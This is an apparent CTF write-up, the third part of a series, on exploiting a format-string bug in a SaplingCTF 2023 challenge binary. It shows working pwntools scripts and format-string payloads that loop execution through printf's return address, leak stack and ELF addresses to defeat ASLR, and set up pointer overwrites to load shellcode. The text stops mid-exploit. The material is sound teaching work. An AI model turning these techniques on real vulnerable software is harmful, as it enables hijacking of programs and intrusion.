skid-t@cyberspace:~$

The Rocky Road To Pwn - Part Three

Team Senioritis’ approach to the final assignment of CPSC233

In this final part of our Pwn trilogy, we will tackle an actual CTF challenge with limitations. Previously, we explored the format print function in the C standard library, discussed the format print attack, and covered Address Space Layout Randomization (ASLR). We also learned how to bypass ASLR. To wrap things up, we will demonstrate how to manipulate data at arbitrary memory addresses on the stack using the techniques from the previous parts.

The challenge is from SaplingCTF 2023, in which we participated as team Senioritis. We were the only ones to solve the last Pwn challenge, the final assignment of CPSC233. This post also serves as a write-up for the challenge. We highly recommend that readers review the previous parts of the Pwn trilogy before diving in. For those with a strong foundation and thorough mastery of the earlier parts of the trilogy, you will enjoy it.

Reconnaissance

The challenge includes an ELF binary and a C source code file. The C source code file exposes the programming logic of the binary executable. However, understanding lower system details like stack frame layout requires additional work. For instance, similar to the first and second parts, we could either statically disassemble the binary or set a runtime breakpoint under a debugger to analyze the stack frames. This is how we worked out the stack frame of the main function.

                 ┌──────────────────────────────┐        
RBP-38H  RSP-08H │   Return Address of Callee   │
                 ├──────────────────────────────┤
RBP-30H  RSP+00H │            Unused            │
                 ├──────────────────────────────┤
RBP-28H  RSP+08H │      (char *) func           │
                 ├──────────────────────────────┤
RBP-20H  RSP+10H │      (char *) feedback       │
                 ├──────────────────────────────┤
RBP-18H  RSP+18H │        (long) exam_id        │
                 ├──────────────────────────────┤
RBP-10H  RSP+20H │        (char) name[8]        │
                 ├──────────────────────────────┤
RBP-08H  RSP+28H │         Stack Canary         │
                 ├──────────────────────────────┤
RBP-00H  RSP+30H │         Saved RBP            │
                 ├──────────────────────────────┤
RBP+08H  RSP+38H │        Return Address        │
                 └──────────────────────────────┘        

In contrast to stack frames in the previous parts of our trilogy, we have an unusual octet above the stack pointer (RSP). This octet is reserved for the return address of the callee’s stack frame, which is also the address of the next instruction after the corresponding call instruction. We focus on the format print attack, so the callee is likely the format print function. We won’t delve deeply into this topic now but reserve it for later paragraphs. Given the stack frame layout, we can comment on the stack variables from the provided C source code and the stack offset related to the stack pointer (RSP) and the stack base (RBP).

int main() {
    init_chall();
    char * func = mmap((void*)0x2333000,0x1000,7,0x21,0,0); // [rsp+8h] [rbp-28h]
    char * feedback = malloc(0x18); // [rsp+10h] [rbp-20h] 
    char name[8]; // [rsp+20h] [rbp-10h]
    long exam_id = (long) &name; // [rsp+18h] [rbp-18h]
    printf("======== Final Exam (Your Exam ID: 0x%lx)========\n",exam_id);
    puts("Enter your name: ");
    read(0,&name[0],0xc);
    printf("Good luck on your final, %s",name);
    puts("please put your function shellcode here: ");
    if (!read_shellcode(func,2)) {
        puts("fail to read shellcode, please check your shellcode");
        exit(-1);
    };
    final_exam((void *)func);
    puts("pleas give us feedback about this course: ");
    read(0,feedback,0x18);
    puts("feedback submitted: ");
    printf(feedback);
    // exit final environment
    exit(0);
    return 0;
}

The challenge requires us to gain access to a shell using binary exploitation, as there is no hardcoded flag or loaded program in the virtual memory. In contrast to the win function in the second part of our trilogy, this challenge offers a memory page that is both writable and executable, allowing us to input hexadecimal-encoded bytes. A user-controllable format string feedback is also suitable for a format print attack. We aim to create and load a shellcode into the designated memory section, then take control of the program’s flow using a format print attack and divert it to our loaded shellcode.

The challenge author graciously provided the relocated stack address through the exam ID. Based on part two, the relocated executable address remains to bypass ASLR further. Additionally, we can load 12 consecutive bytes onto an aligned stack variable called name, partially covering the stack canary. This allows us to perform indirect reading and writing to arbitrary locations by loading the target address into name. Although the main function does not return, as it directly calls exit before returning, we could load the on-stack address of the return address of the printf – the proposed callee of the main function – and override it to the static shellcode address 0x2333000. However, the challenge author restricts the read_shellcode procedure call to loading only two hexadecimal bytes each time without any looping mechanism. Since building a shellcode with only two bytes is not easy, we had to somehow loop it.

The Looping Curse

In the 2016 film Doctor Strange, a curse traps Dormamu, a multi-dimensional ruler, in a time loop, compelling him to leave Earth alone. Similarly, we worshiped Dr.Strange and used his superpower to spell a looping curse to trap the challenge’s executable in a loop. The looping curse is necessary because, unlike the example in part two, the challenge’s program doesn’t loop by itself and exits after invoking the format print function. Therefore, a form of “magic” matters to create an artificial read-invoke loop.

In the previous section, we discussed the possibility of loading the on-stack address of the callee’s return address into the name variable and then modifying the return address during a format print call. In this scenario, the callee function would be printf itself, meaning that printf would modify its return address and transfer control to some other instructions instead of the next instruction that calls printf in main. To further explain, we disassembled the main function but focused on the instructions near the printf procedure call.

0000000000000a78 <main>:
 a78:	55                   	push   %rbp
 a79:	48 89 e5             	mov    %rsp,%rbp
 a7c:	48 83 ec 30          	sub    $0x30,%rsp
 a80:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
 a87:	00 00
......
 b6d:	48 8d 3d bc 01 00 00 	lea    0x1bc(%rip),%rdi        # d30 <_IO_stdin_used+0xf0>
 b74:	e8 47 fc ff ff       	call   7c0 <puts@plt>
 b79:	48 8b 45 e0          	mov    -0x20(%rbp),%rax
 b7d:	ba 18 00 00 00       	mov    $0x18,%edx
 b82:	48 89 c6             	mov    %rax,%rsi
 b85:	bf 00 00 00 00       	mov    $0x0,%edi
 b8a:	e8 81 fc ff ff       	call   810 <read@plt>
 b8f:	48 8d 3d c5 01 00 00 	lea    0x1c5(%rip),%rdi        # d5b <_IO_stdin_used+0x11b>
 b96:	e8 25 fc ff ff       	call   7c0 <puts@plt>
 b9b:	48 8b 45 e0          	mov    -0x20(%rbp),%rax
 b9f:	48 89 c7             	mov    %rax,%rdi
 ba2:	b8 00 00 00 00       	mov    $0x0,%eax
 ba7:	e8 44 fc ff ff       	call   7f0 <printf@plt>
 bac:	bf 00 00 00 00       	mov    $0x0,%edi
 bb1:	e8 8a fc ff ff       	call   840 <exit@plt>

The main function calls the format print procedure at memory address 0x0ba7, and the return address for the printf function should point to the move instruction at address 0x0bac. Considering that relocations in ASLR align with the virtual memory page size, typically 4096, the least significant byte (0xac in 0x0bac) of the instruction address remains unchanged after relocation. Even though the relocated executable address is unknown, we can still modify the least significant byte of the return address in the printf stack frame to create a loop and redirect the control flow back to previous instructions. The destination instruction must be close enough, as we can only reliably modify the least significant byte of the return address. To jump to a distant address, like a long jump, we would need to further bypass ASLR and determine the relocated executable address.

Remember that the address we target for indirect reading and writing loads to the stack buffer is given by name, 32 bytes off the stack pointer (RSP). As part two discusses, the format print function uses index 10 for the positioned parameter referring to the effective pointer at name. We can use the half-half length modifier in combination with the positioned parameter to override the least significant byte, resulting in %10$hhn.

Additionally, the placeholder to alter data usually follows a placeholder with a field width specifier to specify the target value. For example, we want to redirect the control flow to the line where the program reads feedback. Therefore, we select the move instruction at 0x0b6d, which initiates the parameters before invoking the puts@plt procedure call. Under this ground, we aim to write 0x6d to the least significant byte of the return address of printf@plt’s stack frame. Since 6dH is 109 in decimal, we would use %109c to specify the target value. Combining these, we end up with %109c%10$hhn as the spell of our looping curse.

The challenge targets a Linux-based x86_64 system for verifying our looping curse spell under a matching system. Like part two, the system comes with Python v3.12.4 and pwnlib 4.13.0. Thus, we could create the following proof-of-concept (PoC).

#!/usr/bin/env python3

from pwn import *

exe = ELF("./cpsc233_final_patched")

context(arch='amd64')
context.binary = exe

def main():
    r = process([exe.path])

    # extract relocated stack address through program flaw
    r.recvuntil(b'Your Exam ID: ')
    stack_pointer = r.recvuntil(b')========\n')[:-10]
    stack_pointer = int(stack_pointer,16) - 0x20
    info(f"Found stack pointer: {hex(stack_pointer)}")
    callee_return_address = stack_pointer - 8
    info(f"Callee's return address: {hex(callee_return_address)}")
    # modify return address of printf@plt and form the loop
    r.sendlineafter(b'name: ',p64(callee_return_address))
    r.sendafter(b'here: ',b'1337')
    looping_curse_spell = "%109c%10$hhn"
    info(f"Looping curse spell: {looping_curse_spell}")
    r.sendlineafter(b'course: ', looping_curse_spell.encode()) 
    r.recvuntil(b'feedback submitted: \n')
    # good luck pwning :)
    r.interactive()

if __name__ == "__main__":
    main()

The PoC script begins by processing the output of the challenge and extracting the leaked stack address, which is provided by the challenge’s author and assists in bypassing ASLR. Subsequent operations reveal the stack pointer (RSP) and deduce the potential location of the return address for potential function calls. The magic spell is then applied as the feedback, with the target address already loaded onto the stack via the ‘name’ buffer. Ideally, the program should return to displaying the prompt to the standard output before requesting feedback. We can confirm this once the PoC script activates interactive mode.

[skid.t@BlackArch playground]$ python ./loop-curse-poc.py
[*] '/home/skid.t/playground/cpsc233_final'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[+] Starting local process '/home/skid.t/playground/cpsc233_final': pid 114514
[*] Found stack pointer: 0x7ffdf6f94250
[*] Callee's return address: 0x7ffdf6f94248
[*] Looping curse spell: %109c%10$hhn
[*] Switching to interactive mode
                                                                                                            C
pleas give us feedback about this course:
$ %109c%10$hhn
feedback submitted:
                                                                                                            C
pleas give us feedback about this course:
$ %109c%10$hhn
feedback submitted:
                                                                                                            C
pleas give us feedback about this course:
$ %109c%10$hhn
feedback submitted:
                                                                                                            C
pleas give us feedback about this course:
$
[*] Stopped process '/home/skid.t/playground/cpsc233_final' (pid 114514)

When the script reaches the interactive stage, it forwards the prompt asking for course feedback from the program. This indicates success as the script has already provided the course feedback once, and the program didn’t exit but ask for the feedback again. We manually typed the spell three times for a solid confirmation, then followed an EOF. The program repeatedly asked for feedback and exited when it reached the EOF. Note that the long line with tailing C is the echoed feedback as the %109c placeholder prints 109 characters, whereas the leading 108 characters are empty spaces for padding purposes. The last character is the decoded value from the least significant byte of the source index register(RSI). With the excellent work of the looping curse, we could recurrently trigger the format print function with different payloads, which is essential for further exploitation steps.

The Two Pointers

The looping curse helps continuously deploy various format print payloads, preventing the program from exiting. Since the challenge only permits loading two shellcode bytes once, we could repeatedly loop and load the shellcode bytes until all have been loaded. To achieve this, it is necessary to offset the func pointer by two during each iteration of the looping process. One approach is to load the address of the func pointer and overwrite it with format print payloads, similar to overwriting the return address. However, the challenge restricts us from loading only 12 bytes on the stack, which is inefficient for two consecutive pointers. Since the first eight bytes must always point to the return address of the format print function, we must use other existing on-stack data to help load the shellcode.

Suppose an out-of-box pointer refers to the stack variable func. We could overwrite func with the cursed conversion specifier discussed in part two of our trilogy. The out-of-box pointer and the func pointer form a two-pointer pattern, where one on-stack pointer refers to another on-stack pointer. As an attacker, we could utilize the out-of-box pointer to control the func pointer, which allows us to indirectly read from and write to arbitrary virtual memory addresses. Even though the challenge provides a read_shellcode procedure call that eliminates the need to encode the shellcode in a format string, the two-pointer pattern helps in creating a control pointer of the func pointer when an out-of-box gift is not available.

┌───────────────────┐               ┌───────────────────┐               ┌───────────────────┐  
│ 0x2333000: xxxx   │◄┐             │ 0x2333000: xxxx   │               │ 0x2333000: xxxx   │  
├───────────────────┤ │             ├───────────────────┤               ├───────────────────┤  
│ 0x2333002: xxxx   │ │             │ 0x2333002: xxxx   │◄┐             │ 0x2333002: xxxx   │  
├───────────────────┤ │             ├───────────────────┤ │             ├───────────────────┤  
│ 0x2333004: xxxx   │ │             │ 0x2333004: xxxx   │ │             │ 0x2333004: xxxx   │◄┐
├───────────────────┤ │             ├───────────────────┤ │             ├───────────────────┤ │
┆                   ┆ │             ┆                   ┆ │             ┆                   ┆ │
┆                   ┆ │             ┆                   ┆ │             ┆                   ┆ │
┆                   ┆ │             ┆                   ┆ │             ┆                   ┆ │
┆                   ┆ │             ┆                   ┆ │             ┆                   ┆ │
┆                   ┆ │             ┆                   ┆ │             ┆                   ┆ │
├───────────────────┤ │ off by 2    ├───────────────────┤ │ off by 2    ├───────────────────┤ │
│ func: 0x2333000   ├─┘ -------▶   │ func: 0x2333002   ├─┘ -------▶   │ func: 0x2333004   ├─┘
├───────────────────┤◄┐             ├───────────────────┤◄┐             ├───────────────────┤◄┐
┆                   ┆ │             ┆                   ┆ │             ┆                   ┆ │
┆                   ┆ │             ┆                   ┆ │             ┆                   ┆ │
┆                   ┆ │             ┆                   ┆ │             ┆                   ┆ │
┆                   ┆ │             ┆                   ┆ │             ┆                   ┆ │
┆                   ┆ │             ┆                   ┆ │             ┆                   ┆ │
├───────────────────┤ │             ├───────────────────┤ │             ├───────────────────┤ │
│ control pointer   ├─┘             │ control pointer   ├─┘             │ control pointer   ├─┘
└───────────────────┘               └───────────────────┘               └───────────────────┘  

To locate an out-of-box control pointer for the func function, we iteratively traversed the stack using the %{index}$016llX placeholder. In this placeholder, {index} is replaced by the actual position parameter, starting from 6 and increasing by one. This placeholder revealed an 8-byte memory thunk as a 16-character hexadecimal number. If any of these values matched the address of the func pointer, our small search script would stop and display the corresponding address, the value, and the index.

r = process([exe.path])

# extract relocated stack address through program flaw
r.recvuntil(b'Your Exam ID: ')
stack_pointer = r.recvuntil(b')========\n')[:-10]
stack_pointer = int(stack_pointer,16) - 0x20
info(f"Found stack pointer: {hex(stack_pointer)}")
callee_return_address = stack_pointer - 8
info(f"Callee's return address: {hex(callee_return_address)}")
func_address = stack_pointer + 8
info(f"Address of func: {hex(func_address)}")
# modify return address of printf@plt and form the loop
r.sendlineafter(b'name: ',p64(callee_return_address))
r.sendafter(b'here: ',b'1337')
looping_curse_spell = "%109c%10$hhn"
# search through the stack to find out-of-box control pointer
for idx in range(6,4096):
    payload = looping_curse_spell + f"%{idx}$016llX" 
    r.sendlineafter(b'course: ', payload.encode()) 
    r.recvuntil(b'feedback submitted: \n')
    r.recv(109)
    address = stack_pointer + (idx-6) * 8
    leaked = int(r.recv(16),16)
    info(f"Leaked stack content: {hex(address)}: {leaked:#018x}")
    if func_address == leaked:
        info(f"Found out-of-box control pointer with index {idx}")
        break

Unfortunately, the search script failed with an EOFError preceding the message that the challenge program exited with SIGSEGV, which usually occurs when accessing uninitialized pages. This issue arises as our search script may cause the challenge program to read beyond the stack, meaning there’s no out-of-the-box control pointer for the func pointer.

[*] '/home/skid.t/playground/cpsc233_final'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[+] Starting local process '/home/skid.t/playground/cpsc233_final': pid 1919810
[*] Found stack pointer: 0x7ffe0f336840
[*] Callee's return address: 0x7ffe0f336838
[*] Address of func: 0x7ffe0f336848
[*] Leaked stack content: 0x7ffe0f336840: 0x0000000000000000
[*] Leaked stack content: 0x7ffe0f336848: 0x0000000002333000
[*] Leaked stack content: 0x7ffe0f336850: 0x000055ca397102a0
[*] Leaked stack content: 0x7ffe0f336858: 0x00007ffe0f336860
[*] Leaked stack content: 0x7ffe0f336860: 0x00007ffe0f336838
[*] Leaked stack content: 0x7ffe0f336868: 0xa2076b4a97b4d30a
[*] Leaked stack content: 0x7ffe0f336870: 0x00007ffe0f336910
[*] Leaked stack content: 0x7ffe0f336878: 0x0000711c2d0ebe08
......
[*] Leaked stack content: 0x7ffe0f337fe0: 0x6e756f726779616c
[*] Leaked stack content: 0x7ffe0f337fe8: 0x3332637370632f64
[*] Leaked stack content: 0x7ffe0f337ff0: 0x006c616e69665f33
[*] Leaked stack content: 0x7ffe0f337ff8: 0x0000000000000000
Traceback (most recent call last):
  File "/home/skid.t/playground/./find-out-of-box-ctl-ptr.py", line 44, in <module>
    main()
  File "/home/skid.t/playground/./find-out-of-box-ctl-ptr.py", line 32, in main
    r.recv(109)
  File "/usr/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 106, in recv
    return self._recv(numb, timeout) or b''
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
                               ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/site-packages/pwnlib/tubes/process.py", line 742, in recv_raw
    raise EOFError
EOFError
[*] Process '/home/skid.t/playground/cpsc233_final' stopped with exit code -11 (SIGSEGV) (pid 1919810)

We encountered a situation where there was no straightforward way to control the func pointer. However, there may be control pointers for other pointers on the stack that refer to somewhere else on the stack. These control pointers can modify the value of their partner pointer to arbitrary stack addresses. Given that the saved RBPs on the stack form a linked list, this manipulation is possible, providing enough pointer pairs.

The RBP Chain

In most x86_64 systems, architects prefer that each function save the caller’s stack base pointer (RBP) on the current stack frame. This design leads to a linked list (a chain) that starts with the RBP register and extends to the C runtime function that initializes the first stack frame.

        ┌──────────────────┐                 ┌──────────────────┐
RSP ───►│                  │         RSP ───►│                  │
        ├──────────────────┤                 ├──────────────────┤
        │       func       │                 │       func       │◄───┐
        ├──────────────────┤                 ├──────────────────┤    │
        ┆                  ┆                 ┆                  ┆    │
        ├──────────────────┤                 ├──────────────────┤    │
RBP ───►│    saved RBP     ├──┐      RBP ───►│    saved RBP     ├──┐ │
        ├──────────────────┤  │              ├──────────────────┤  │ │
        │   return address │  │              │   return address │  │ │
        ├──────────────────┤  │              ├──────────────────┤  │ │
        ┆                  ┆  │              ┆                  ┆  │ │
        ┆                  ┆  │              ┆                  ┆  │ │
        ┆                  ┆  │              ┆                  ┆  │ │
        ├──────────────────┤◄─┘  overwrite   ├──────────────────┤◄─┘ │
        │    saved RBP     ├──┐ ----------▶ │    saved RBP     ├────┘
        ├──────────────────┤  │              ├──────────────────┤
        │   return address │  │              │   return address │     
        ├──────────────────┤  │              ├──────────────────┤
        ┆                  ┆  │              ┆                  ┆
        ┆                  ┆  │              ┆                  ┆
        ┆                  ┆  │              ┆                  ┆
        ├──────────────────┤◄─┘              ├──────────────────┤
        │    saved RBP     ├──┐              │    saved RBP     ├──┐
        ├──────────────────┤  │              ├──────────────────┤  │
        │   return address │  │              │   return address │  │
        ├──────────────────┤  │              ├──────────────────┤  │
        ┆                  ┆  ┆              ┆                  ┆  ┆
        ┆                  ┆  ┆              ┆                  ┆  ┆

The RBP chain provides many pointer pairs, which we need. In this case, one pointer refers to another pointer, and the second one refers to a location on the stack. The first pointer acts as the control pointer for the second one, allowing us to partially overwrite the second pointer and direct it to arbitrary stack addresses. In our situation, we want to direct it to the func pointer. This way, we can modify the func pointer and load the entire shellcode. To do this, we updated the search script to look for pointer pairs instead of the exact control pointer for the func pointer.

r = process([exe.path])

# extract relocated stack address through program flaw
r.recvuntil(b'Your Exam ID: ')
stack_pointer = r.recvuntil(b')========\n')[:-10]
stack_pointer = int(stack_pointer,16) - 0x20
info(f"Found stack pointer: {hex(stack_pointer)}")
callee_return_address = stack_pointer - 8
info(f"Callee's return address: {hex(callee_return_address)}")
func_address = stack_pointer + 8
info(f"Address of func: {hex(func_address)}")
# modify return address of printf@plt and form the loop
r.sendlineafter(b'name: ',p64(callee_return_address))
r.sendafter(b'here: ',b'1337')
looping_curse_spell = "%109c%10$hhn"
# search through the stack to find pointer pairs
stack_prefix_mask = 0xFFFFFFFFFFFF0000
stack_address_prefix = stack_pointer & stack_prefix_mask
reverse_mapping = {} # reversed mapping from value to address
pointer_pairs = []
for idx in range(6,4096):
    if len(pointer_pairs) > 2:
        break
    payload = looping_curse_spell + f"%{idx}$016llX" 
    r.sendlineafter(b'course: ', payload.encode()) 
    r.recvuntil(b'feedback submitted: \n')
    r.recv(109)
    address = stack_pointer + (idx-6) * 8
    value = int(r.recv(16),16)
    info(f"Leaked stack content: {hex(address)}: {value:#018x}")
    if stack_address_prefix == value & stack_prefix_mask and address in reverse_mapping:
        c_ptr_idx = reverse_mapping[address]
        c_ptr_addr = ((c_ptr_idx-6)<<3) + stack_pointer
        info(f"Found pointer pair: {hex(c_ptr_addr)} --> {hex(address)} --> {hex(value)}")
        pointer_pairs.append((c_ptr_idx,idx))
    reverse_mapping[value] = idx

The updated search script now remembers values encountered and keeps a reverse mapping from the value to the corresponding index in the format string. When iterating to a new stack address, the script checks if the current address is in reverse mapping. If found, the script checks whether its value refers to a stack address. Both checks pass; the script records the pointer pair and adds it to the pointer_pairs list. Even though we only need one pointer pair to create the control pointer for the func pointer, the script yields three for redundancy. The pointer_pairs collects all the yielded pointer pairs for further steps.

[+] Starting local process '/home/skid.t/playground/cpsc233_final': pid 889464
[*] Found stack pointer: 0x7ffd3abf0260
[*] Callee's return address: 0x7ffd3abf0258
[*] Address of func: 0x7ffd3abf0268
[*] Leaked stack content: 0x7ffd3abf0260: 0x0000000000000000
[*] Leaked stack content: 0x7ffd3abf0268: 0x0000000002333000
[*] Leaked stack content: 0x7ffd3abf0270: 0x000055fd229d02a0
[*] Leaked stack content: 0x7ffd3abf0278: 0x00007ffd3abf0280
[*] Leaked stack content: 0x7ffd3abf0280: 0x00007ffd3abf0258
[*] Found pointer pair: 0x7ffd3abf0278 --> 0x7ffd3abf0280: 0x7ffd3abf0258
[*] Leaked stack content: 0x7ffd3abf0288: 0x6387dd909f8b8e0a
[*] Leaked stack content: 0x7ffd3abf0290: 0x00007ffd3abf0330
[*] Leaked stack content: 0x7ffd3abf0298: 0x000076d03a0eee08
......
[*] Leaked stack content: 0x7ffd3abf02b8: 0x000055fd21e00a78
[*] Leaked stack content: 0x7ffd3abf02c0: 0x00007ffd3abf03b8
[*] Leaked stack content: 0x7ffd3abf02c8: 0x9d29b7c58d9d9010
......
[*] Leaked stack content: 0x7ffd3abf0320: 0x0000000000000000
[*] Leaked stack content: 0x7ffd3abf0328: 0x6387dd909f8b8e00
[*] Leaked stack content: 0x7ffd3abf0330: 0x00007ffd3abf0390
[*] Found pointer pair: 0x7ffd3abf0290 --> 0x7ffd3abf0330: 0x7ffd3abf0390
[*] Leaked stack content: 0x7ffd3abf0338: 0x000076d03a0eeecc
[*] Leaked stack content: 0x7ffd3abf0340: 0x00007ffd3abf03c8
[*] Leaked stack content: 0x7ffd3abf0348: 0x000076d03a3432e0
......
[*] Leaked stack content: 0x7ffd3abf03a8: 0x0000000000000038
[*] Leaked stack content: 0x7ffd3abf03b0: 0x0000000000000001
[*] Leaked stack content: 0x7ffd3abf03b8: 0x00007ffd3abf2657
[*] Found pointer pair: 0x7ffd3abf02c0 --> 0x7ffd3abf03b8: 0x7ffd3abf2657
[*] Stopped process '/home/skid.t/playground/cpsc233_final' (pid 889464)

The script performed well in completing its mission. It scanned the process’s current system call stack and identified three potential pointer pairs. It’s important to note that the first pair consists of the exam_id and name, essential for the looping process. Therefore, we must exclude the first pair and proceed with the second one. The second pair appears to be an RBP chain, as expected. We’re now prepared to create the control pointer for the func pointer with the discovered pointer pair.

The Construction Zone

Welcome to the construction zone. Here, we use the pointer pairs that were previously discovered to construct the control pointer of the func pointer. Remember that we excluded the first pointer pair and picked the second one. The straightforward way to construct the control pointer for func is by partially overwriting the control pointer (the second one in the pointer pair) with its meta control pointer (the first in the pointer pair). This means that after partial overwriting, the value of the control pointer will be identical to the address of func.

The Straightforward Attempt

A brief Python snippet implements the straightforward idea, performing two overwritings in a single format string. The first overwriting involves the return address of the format print function, and the second overwriting targets the control pointer utilizing the meta control pointer. Recall that the n conversion specifier writes the number of up-to-now printed characters to the designated location. When performing two overwritings in a single format string, the former interference with the latter creates a challenge. To address this, we utilized the modular congruence trick discussed in part two of our trilogy, which ensures that both destinations receive the correct values.

# setup the control pointer for func
meta_control_pointer = pointer_pair[0]
control_pointer = pointer_pair[1]
func_addrsuf = func_address & 0xFFFF
modular_adjusted = (func_addrsuf-109) % 65536
payload = f"%{modular_adjusted}c%{meta_control_pointer}$hn"
payload = looping_curse_spell + payload
payload = payload + " " * (0x18-len(payload))
r.sendafter(b'course: ',payload.encode())
payload = f"CPTR%{control_pointer}$016llX"
payload = looping_curse_spell + payload
payload = payload + " " * (0x18-len(payload))
r.sendafter(b'course: ',payload.encode())
r.recvuntil(b'CPTR')
cntl_ptr_val_raw = r.recv(16)
cntl_ptr_val = int(cntl_ptr_val_raw,16)
info(f"Control pointer value set: {hex(cntl_ptr_val)}")

Furthermore, the Python code snippet dumps the overwritten control pointer and then checks its value after modification. This quality assurance step ensures everything works perfectly in the construction zone. Ideally, it should print log information showing the address of the func pointer. Unfortunately, an error occurred when running the script.

Traceback (most recent call last):
  File "/home/skid.t/playground/./ctrl_ptr_poc.py", line 77, in <module>
    main()
  File "/home/skid.t/playground/./ctrl_ptr_poc.py", line 69, in main
    r.recvuntil(b'CPTR')
  File "/usr/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 341, in recvuntil
    res = self.recv(timeout=self.timeout)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 106, in recv
    return self._recv(numb, timeout) or b''
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
                               ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/site-packages/pwnlib/tubes/process.py", line 742, in recv_raw
    raise EOFError
EOFError

The EOFError occurred as the script was expecting to receive CPTR, which is our signal that the following sixteen characters make up the echoed value of the control pointer. It seems that the program exited, which closed the IO pipes and led to the EOFError. Something must be wrong since we could replicate the exact error by running the script multiple times. Therefore, we ran the script with a debug message to reveal the behind-the-scenes IO conversations, and luckily, we found a glitch.

[skid.t@BlackArch playground]$ python ./ctrl_ptr_poc.py DEBUG
......
[DEBUG] Sent 0x19 bytes:
    b'%109c%10$hhn%55451c%12$hn'
......

The script sent a 25-byte feedback to the program, but the program only reads 24 bytes. As a result, the payload was cut off, causing subsequent issues. Therefore, we need to find a way to compress the size of the format string.

The Redemption Of Fantastic Manual

After carefully reading the manual of the format print functions and a few desperate cries at 4 am, we stumbled upon something interesting in the field width section.

Instead of a decimal digit string one may write “” or “m$” (for some decimal integer m) to specify that the field width is given in the next argument, or in the m-th argument, respectively, which must be of type int.

We were thrilled to discover that the field width parameter could be passed indirectly. We could swap out %55451c in the format string with something like %*xxc, where xx is a two-digit integer. This means we need to find a location to load 545451 as an integer on the stack. According to the manual, the indirect field width must be of type int; we just need to find a 4-byte buffer for the value. Remember the name buffer – even though it’s only 8 bytes long, the program reads 12 bytes, partially overlapping the stack canary. Considering that the main function exits without returning and we could call the exit syscall in our shellcode, it does not matter whether the stack canary is preserved or corrupted.

         ┌───────────────────────────────────┐        
 RSP+00H │               Unused              │
         ├───────────────────────────────────┤
 RSP+08H │         (char *) func             │
         ├───────────────────────────────────┤
 RSP+10H │         (char *) feedback         │
         ├───────────────────────────────────┤
 RSP+18H │           (long) exam_id          │
         ├───────────────────────────────────┤
 RSP+20H │           (char) name[8]          │
         ├─────────────────┬─────────────────┤
 RSP+28H │   (int) 55451   │ Canary LeftOver │
         ├─────────────────┴─────────────────┤
 RSP+30H │            Saved RBP              │
         ├───────────────────────────────────┤
 RSP+38H │           Return Address          │
         └───────────────────────────────────┘        

The stack canary is 40 bytes away from the stack pointer (RSP). Therefore, the appropriate position-parameter index should be 11. We use %*11$c as the placeholder in the format string %109c%10$hhn%*11$c%12$hn. This allows us to overwrite the control pointer with the least significant four bytes of the stack canary. When the format print function handles %*11$c, it only concerns the exact four bytes. The remaining four bytes of the stack canary are entirely ignored by the main function, the format print function, and us.

To load the specified value 55451 and overwrite the stack canary, we need to redirect the control flow back to the Enter your name stage. Unlike redirecting the control flow back to reading feedback, we must overwrite two bytes of the return address of ‘printf’ instead of only the least significant byte. Given this situation, we must consider bypassing the Address Space Layout Randomization (ASLR) entirely.

The Battle Of Relocation

In the hope of bypassing the ASLR entirely, we launched the battle of relocation. The objective of this effort is to uncover the relocated base address of the ELF segments. Any address from the ELF segments after relocation helps, as we can use basic arithmetic to calculate the relocated base address.

The first thing to note is the return address of the main function. However, the main function returns to the C runtime functions and belongs to the libc sections, which differ from the ELF segments. What about the return address of the format print function? Even if we overwrite it with the looping curse, we can still read and print it in the exact format string. With this idea in mind, another Python snippet can be used to uncover the relocated instruction addresses associated with the main function.

payload = b'%109c%10$hhnBGN%10$sEND'
r.sendlineafter(b'course: ', payload)
r.recvuntil(b'BGN')
dump = r.recvuntil(b'END')
leaked_RIP_raw = dump[:-3]
leaked_RIP_raw = leaked_RIP_raw + b'\x00'*(8-len(leaked_RIP_raw))
leaked_RIP = u64(leaked_RIP_raw)
info(f"Leaked printf@plt return address: {hex(leaked_RIP)}")
exe.address = leaked_RIP - 0x0b6d
info(f"Found relocated ELF base: {hex(exe.address)}")

The payload consists of the looping curse and an indirect reading. The looping curse entails an indirect writing that shares the control pointer with the indirect reading. Unlike direct readings, it is impossible to specify the output format of indirect readings, as raw bytes are printed until a null byte occurs. Therefore, we enclosed the indirect reading with a BGN-END pair to ensure that all bytes are collected without unwanted bytes.

......
[*] Leaked printf@plt return address: 0x557ec2600b6d
[*] Found relocated ELF base: 0x557ec2600000

The battle went well. The script successfully prompted the relocation of the ELF segments’ base addresses. After verifying the authenticity of the revealed base address, we were confident that we had bypassed ASLR and celebrated the victory.

Construction Complete

We have the compressed format string, a working idea, and the relocated base address of the ELF segments. Therefore, it’s time to complete the construction. To construct the func pointer’s control pointer, we redirect the control flow to name reading. But first, we must calculate the target address with relocation in mind.

# redirect the control flow to name reading
name_read_address = exe.address + 0x0af0
name_read_addrsuf = name_read_address & 0xFFFF
looping_curse_spell = f"%{name_read_addrsuf}c%10$hn"
r.sendlineafter(b'course: ', looping_curse_spell.encode())

